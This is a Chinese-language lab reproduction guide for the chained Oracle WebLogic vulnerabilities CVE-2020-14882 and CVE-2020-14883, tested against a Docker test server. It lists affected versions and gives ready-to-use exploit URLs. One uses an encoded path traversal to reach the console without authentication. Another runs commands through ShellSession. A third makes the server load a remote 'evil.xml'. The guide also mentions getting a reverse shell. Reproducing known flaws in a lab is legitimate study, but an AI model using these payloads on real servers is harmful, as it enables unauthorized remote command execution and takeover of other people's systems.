Weblogic是Oracle公司推出的J2EE應用服務器,CVE-2020-14882允許未授權的用戶繞過管理控制台的權限驗證訪問后台,CVE-2020-14883允許后台任意用戶通過HTTP協議執行任意命令。使用這兩個漏洞組成的利用鏈,可通過一個GET請求在遠程Weblogic服務器上以未授權的任意用戶身份執行命令。
- 0x1 漏洞環境
docker啟一個Weblogic 12.2.1.3版本的服務器,然后訪問/console即可查看后台登錄頁面即:
-
0x2 影響版本
Oracle:Weblogic
: 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0
- 0x3 CVE-2020-14882&CVE-2020-14883
訪問以下URL,即可未授權訪問到管理后台頁面:
http://192.168.99.100:7001/console/css/%252e%252e%252fconsole.portal
此時的權限很低,並不能在后台安裝應用,所以需要結合CVE-2020-14883漏洞,這個漏洞的利用方式有兩種,一是通過com.tangosol.coherence.mvel2.sh.ShellSession
,二是通過com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext。
利用com.tangosol.coherence.mvel2.sh.ShellSession執行命令,直接訪問url:
http://192.168.99.100:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success1');")
可以看到命令成功執行:
這個利用方法只能在Weblogic 12.2.1以上版本利用,因為10版本並不存在com.tangosol.coherence.mvel2.sh.ShellSession
類,使用com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext
類時,需要構造一個惡意的xml文件。
然后通過這個類發出如下請求,即可讓Weblogic加載這個xml,並執行其中的命令:
http://192.168.99.100:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://*.*.*.*/evil.xml")
當然反彈shell也是可以的,只需要修改xml文件中的命令即可: